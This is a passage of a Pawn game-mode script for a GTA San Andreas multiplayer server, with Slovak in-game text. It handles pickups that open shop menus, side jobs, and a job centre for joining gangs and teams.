                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid, Dialog_CarShop8, DIALOG_STYLE_LIST, "Moto Shop", "Faggio (50 000$)\nBF-400 (150 000$)\nPCJ-600 (180 000$)\nFCR-900 (250 000$)\nNRG-500 (325 000$)\nFreeway (200 000$)\nWayfarer (100 000$)\nSanchez (220 000$)\nQuad (130 000$)", "Kupit", "Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == BombShopPickup)
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;

                    if(22 <= Server[Hours] || Server[Hours] <= 5) ShowPlayerDialog(playerid,Dialog_BombShop,DIALOG_STYLE_LIST,"BombShop","Svetlica (100$)\nDynamit (1000$)\nMína (5800$)\nRaptor (12000$)\nPredator (50000$)","Kupit","Cancel");
                    else ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Bomb Shop","{ff0000}Otvaracie hodiny:\n22:00 - 05:00","Cancel","");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == TrainingFightingStylePickup[0])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;

                    ShowPlayerDialog(playerid,Dialog_Gym1,DIALOG_STYLE_MSGBOX,"BOX Training","Chceš sa naučiť nové bojové umenie?\n{ffff00}BOX","Ano","Nie");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == TrainingFightingStylePickup[1])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;

                    ShowPlayerDialog(playerid,Dialog_Gym2,DIALOG_STYLE_MSGBOX,"KUNG FU Training","Chceš sa naučiť nové bojové umenie?\n{ffff00}KUNG FU","Ano","Nie");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == TrainingFightingStylePickup[2])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;

                    ShowPlayerDialog(playerid,Dialog_Gym3,DIALOG_STYLE_MSGBOX,"KNEEHEAD Training","Chceš sa naučiť nové bojové umenie?\n{ffff00}KNEEHEAD","Ano","Nie");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == UradIntPickup[0]) ShowPlayerDialog(playerid,Dialog_BuyVodicak,DIALOG_STYLE_MSGBOX,"Vodičský preukaz","Tu si môžeš kupiť Vodičský preukaz za 50000$","Kupit","Cancel");
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == UradIntPickup[1]) ShowPlayerDialog(playerid,Dialog_BuyZbrojak,DIALOG_STYLE_MSGBOX,"Zbrojný preukaz","Tu si môžeš kupiť Zbrojný preukaz za 45000$","Kupit","Cancel");
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == SkinShop[0] || pickupid == SkinShop[1] || pickupid == SkinShop[2] || pickupid == SkinShop[3])
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    new Float:X, Float:Y, Float:Z;
                    GetPlayerPos(playerid,X,Y,Z);
                    Player[playerid][SavePosX] = X;
                    Player[playerid][SavePosY] = Y;
                    Player[playerid][SavePosZ] = Z;
                    Player[playerid][SaveInterior] = GetPlayerInterior(playerid);
                    Player[playerid][SaveVirtualWorld] = GetPlayerVirtualWorld(playerid);

                    SetPlayerPos(playerid,199.897,-10.533,1001.21);
                    SetPlayerFacingAngle(playerid,198);
                    SetPlayerCameraPos(playerid,200.5,-13.175,1001.75);
                    SetPlayerCameraLookAt(playerid,199.26,-11.048,1001.21);
                    SetPlayerInterior(playerid,5);

                    Player[playerid][SkinIDSkinShop] = GetPlayerSkin(playerid);
                    Player[playerid][SelectedSkin] = 9999;
                    SetPlayerInterior(playerid, 0);
                    SetPlayerVirtualWorld(playerid, 1000000+playerid);
                    TogglePlayerControllable(playerid,0);
                    ShowPlayerDialog(playerid,Dialog_SkinShop,DIALOG_STYLE_INPUT,"Oblečenie","Zadaj číslo skinu:\n1 - 299","Zhliadnut","Cancel");
                    SendClientMessage(playerid,COLOR_YELLOW,"Pre zakupenie obleku stlač ENTER. Pre zobrazenie dialogu s oblekmi stlač LMB {ffffff}{ffff00}.");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == SecretAmmoPickup)
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    if(Server[Hours]<23 && Server[Hours]>5) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Secret Ammo / Tajné Ammo","Otvaracia doba:\n23:00 - 5:00","OK","Cancel");
                    else if(Server[Hours]>=23 || Server[Hours]<5) ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JizzyPickup)
            {
                if(Player[playerid][IPIP]==false)
                {
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid,Dialog_Jizzy,DIALOG_STYLE_LIST,"Jizzy Bar","Sprunk (50$)\nVodka (3500$)\nWhisky (5000$)\nŠampanské (500$)\nPivo (400$)\nCigareta (100$)\nJoint (6000$)","Kupit","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == BrigadaPickup[0])
            {
                if(Player[playerid][BrigadaID] == 9999)
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP] = true;
                        ShowPlayerDialog(playerid,Dialog_Brigada0,DIALOG_STYLE_MSGBOX,"{ffff00}Brigáda - Jimmy","{ffff00}Jimmy\n\nAhoj, mám pre teba prácu, budeš po meste\nrozvážať pizzu, odmena ťa neminie. Čo ty nato?","OK","Nie, ďakujem");
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == BrigadaPickup[1])
            {
                if(Player[playerid][BrigadaID] == 9999)
                {
                    if(Player[playerid][IPIP] == false)
                    {
                        Player[playerid][IPIP] = true;

                        new vehicleid;

                        switch(random(41))
                        {
                            case 0: vehicleid=401;
                            case 1: vehicleid=402;
                            case 2: vehicleid=405;
                            case 3: vehicleid=410;
                            case 4: vehicleid=411;
                            case 5: vehicleid=412;
                            case 6: vehicleid=415;
                            case 7: vehicleid=418;
                            case 8: vehicleid=421;
                            case 9: vehicleid=426;
                            case 10: vehicleid=428;
                            case 11: vehicleid=429;
                            case 12: vehicleid=445;
                            case 13: vehicleid=451;
                            case 14: vehicleid=470;
                            case 15: vehicleid=477;
                            case 16: vehicleid=480;
                            case 17: vehicleid=491;
                            case 18: vehicleid=492;
                            case 19: vehicleid=495;
                            case 20: vehicleid=506;
                            case 21: vehicleid=536;
                            case 22: vehicleid=539;
                            case 23: vehicleid=541;
                            case 24: vehicleid=550;
                            case 25: vehicleid=551;
                            case 26: vehicleid=558;
                            case 27: vehicleid=559;
                            case 28: vehicleid=560;
                            case 29: vehicleid=562;
                            case 30: vehicleid=565;
                            case 31: vehicleid=576;
                            case 32: vehicleid=587;
                            case 33: vehicleid=589;
                            case 34: vehicleid=602;
                            case 35: vehicleid=603;

                            case 36: vehicleid=461;
                            case 37: vehicleid=462;
                            case 38: vehicleid=463;
                            case 39: vehicleid=468;
                            case 40: vehicleid=522;
                        }

                        Player[playerid][BrigadaInfo] = vehicleid;

                        new stringE[128];
                        format(stringE,128,"{ffff00}Erika\n\nAhoj,\npotrebovala by som vozidlo z menom: {ff0000}%s{ffff00}\nMohol by si ho pre mňa zohnať?", VehicleName[vehicleid - 400]);

                        ShowPlayerDialog(playerid,Dialog_Brigada1,DIALOG_STYLE_MSGBOX,"{ffff00}Brigáda - Erika",stringE,"OK","Nie, ďakujem");
                    }
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[0])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=1) ShowPlayerDialog(playerid,Dialog_Team1,DIALOG_STYLE_MSGBOX,"Gang - Groove Street","Tu sa môžeš pridať ku gangu Groove Street","Join","Cancel");
                    else if(Player[playerid][Team]==1) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[1])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=2) ShowPlayerDialog(playerid,Dialog_Team2,DIALOG_STYLE_MSGBOX,"Gang - The Ballas","Tu sa môžeš pridať ku gangu The Ballas","Join","Cancel");
                    else if(Player[playerid][Team]==2) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[2])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=3) ShowPlayerDialog(playerid,Dialog_Team3,DIALOG_STYLE_MSGBOX,"Gang - Los Santos Vagos","Tu sa môžeš pridať ku gangu Los Santos Vagos","Join","Cancel");
                    else if(Player[playerid][Team]==3) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[3])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=4) ShowPlayerDialog(playerid,Dialog_Team4,DIALOG_STYLE_MSGBOX,"Gang - Los Aztecas","Tu sa môžeš pridať ku gangu Los Aztecas","Join","Cancel");
                    else if(Player[playerid][Team]==4) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[4])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                         if(Player[playerid][Zbrojak]==false)    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Team - SWAT","{ff0000}Nemôžeš sa tu zamestnať pretože nemáš zbrojný preukaz !","OK","");
                    else if(Player[playerid][Team]!=5)            ShowPlayerDialog(playerid,Dialog_Team5,DIALOG_STYLE_MSGBOX,"Team - SWAT","Tu sa môžeš pridať ku SWATu\nSWAT má za úlohu pomáhať policii, chytať zločincov a chrániť občanov SA.","Join","Cancel");
                    else if(Player[playerid][Team]==5)            ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[5])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=6) ShowPlayerDialog(playerid,Dialog_Team6,DIALOG_STYLE_MSGBOX,"Team - Talianská Mafia","Tu sa môžeš pridať k Talianskéj Mafii","Join","Cancel");
                    else if(Player[playerid][Team]==6) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[6])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=7) ShowPlayerDialog(playerid,Dialog_Team7,DIALOG_STYLE_MSGBOX,"Team - Drogová Mafia","Tu sa môžeš pridať k Drogovéj Mafii","Join","Cancel");
                    else if(Player[playerid][Team]==7) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[7])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=8) ShowPlayerDialog(playerid,Dialog_Team8,DIALOG_STYLE_MSGBOX,"Team - Hitman","Tu sa môžeš zamestnať ako Hitman\nHitman má za úlohu zabíjať hráčov na ktorých bola vypisana odmena !","Join","Cancel");
                    else if(Player[playerid][Team]==8) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[8])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=9) ShowPlayerDialog(playerid,Dialog_Team9,DIALOG_STYLE_MSGBOX,"Team - SBS","Tu sa môžeš zamestnať ako SBS\nSBS má za úlohu chrániť svojích zákazníkov.","Join","Cancel");
                    else if(Player[playerid][Team]==9) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[9])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=10) ShowPlayerDialog(playerid,Dialog_Team10,DIALOG_STYLE_MSGBOX,"Team - Taxi","Tu sa môžeš zamestnať ako Taxikár\nTaxikár má za úlohu rozvážať svojích zákaznikov.","Join","Cancel");
                    else if(Player[playerid][Team]==10) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[10])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Zbrojak]==false)    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Team - Policia (LSPD)","{ff0000}Nemôžeš sa zamestnať pretože nemáš zbrojný preukaz !","OK","");
                    else if(Player[playerid][Team]!=11)            ShowPlayerDialog(playerid,Dialog_Team11,DIALOG_STYLE_MSGBOX,"Team - Policia (LSPD)","Tu sa môžeš zamestnať ako Policajt (LSPD)\nPolicia má za úlohu chytať zločincov a chrániť občanov SA.","Join","Cancel");
                    else if(Player[playerid][Team]==11)            ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[11])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=12) ShowPlayerDialog(playerid,Dialog_Team12,DIALOG_STYLE_MSGBOX,"Team - Autobusár","Tu sa môžeš zamestnať ako Autobusár","Join","Cancel");
                    else if(Player[playerid][Team]==12) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[12])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=13) ShowPlayerDialog(playerid,Dialog_Team13,DIALOG_STYLE_MSGBOX,"Team - Upratovacia Služba","Tu sa môžeš zamestnať ako Upratovacia Služba\nUpratovacia Služba má za úlohu upratovať mesto.","Join","Cancel");
                    else if(Player[playerid][Team]==13) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[13])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=14) ShowPlayerDialog(playerid,Dialog_Team14,DIALOG_STYLE_MSGBOX,"Team - Doktor","Tu sa môžeš zamestnať ako Doktor\nDoktor má za úlohu uzdravovať zranených ľudi.","Join","Cancel");
                    else if(Player[playerid][Team]==14) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[14])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=15) ShowPlayerDialog(playerid,Dialog_Team15,DIALOG_STYLE_MSGBOX,"Team - Mechanik","Tu sa môžeš zamestnať ako Mechanik\nMechanik má za úlohu opravovať auta.","Join","Cancel");
                    else if(Player[playerid][Team]==15) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[15])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=16) ShowPlayerDialog(playerid,Dialog_Team16,DIALOG_STYLE_MSGBOX,"Team - Vojak","Tu sa môžeš zamestnať ako Vojak\nVojak má za úlohu chrániť mesto pred nebezpečím.","Join","Cancel");
                    else if(Player[playerid][Team]==16) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[16])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=17) ShowPlayerDialog(playerid,Dialog_Team17,DIALOG_STYLE_MSGBOX,"Team - Hasič (LSFD)","Tu sa môžeš zamestnať ako Hasič\nHasič má za úlohu chrániť mesto pred požiarmy.","Join","Cancel");
                    else if(Player[playerid][Team]==17) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[17])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=18) ShowPlayerDialog(playerid,Dialog_Team18,DIALOG_STYLE_MSGBOX,"Team - Reportér (LS)","Tu sa môžeš zamestnať ako Reportér\nReportér má za úlohu točiť správy do novin na notebooku.","Join","Cancel");
                    else if(Player[playerid][Team]==18) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[18])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Zbrojak]==false)    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Team - Šerif","{ff0000}Nemôžeš sa tu zamestnať pretože nemáš zbrojný preukaz !","OK","");
                    else if(Player[playerid][Team]!=19)            ShowPlayerDialog(playerid,Dialog_Team19,DIALOG_STYLE_MSGBOX,"Team - Šerif","Tu sa môžeš zamestnať ako Šerif\nŠerif má za úlohu chytať zločincov a chrániť občanov SA.","Join","Cancel");
                    else if(Player[playerid][Team]==19)            ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[19])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=20) ShowPlayerDialog(playerid,Dialog_Team20,DIALOG_STYLE_MSGBOX,"Team - San Fierro Rifa","Tu sa môžeš zamestnať ako San Fierro Rifa\nSan Fierro Rifa je jeden z gangov v SF.","Join","Cancel");
                    else if(Player[playerid][Team]==20) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[20])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=21) ShowPlayerDialog(playerid,Dialog_Team21,DIALOG_STYLE_MSGBOX,"Team - Reportér (SF)","Tu sa môžeš zamestnať ako Reportér\nReportér má za úlohu točiť správy do novin na notebooku.","Join","Cancel");
                    else if(Player[playerid][Team]==21) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[21])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
                         if(Player[playerid][ClanP] != 9999) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ffff00}Clan Info Box","{ff0000}Nemôžeš sa zamestnať keď si už v nejakom clane.\nNajprv musíš opustiť clan príkazom /leaveclan","OK","");
                    else if(Player[playerid][Team]!=22) ShowPlayerDialog(playerid,Dialog_Team22,DIALOG_STYLE_MSGBOX,"Team - Policia (SFPD)","Tu sa môžeš zamestnať ako Policia\nPolicia má za úlohu chytať zločincov a chrániť občanov SA.","Join","Cancel");
                    else if(Player[playerid][Team]==22) ShowPlayerDialog(playerid,Dialog_Vypoved,DIALOG_STYLE_MSGBOX,"Výpoveď","Naozaj chceš podať výpoveď ?!","Ano","Cancel");
                }
            }
            /////////////////////////////////////////////////////////////////////////////
            else if(pickupid == JobCentrum[22])
            {
                if(Player[playerid][IPIP]==false && Player[playerid][ShowGangPickup]==0)
                {
                    Player[playerid][IPIP]=true;
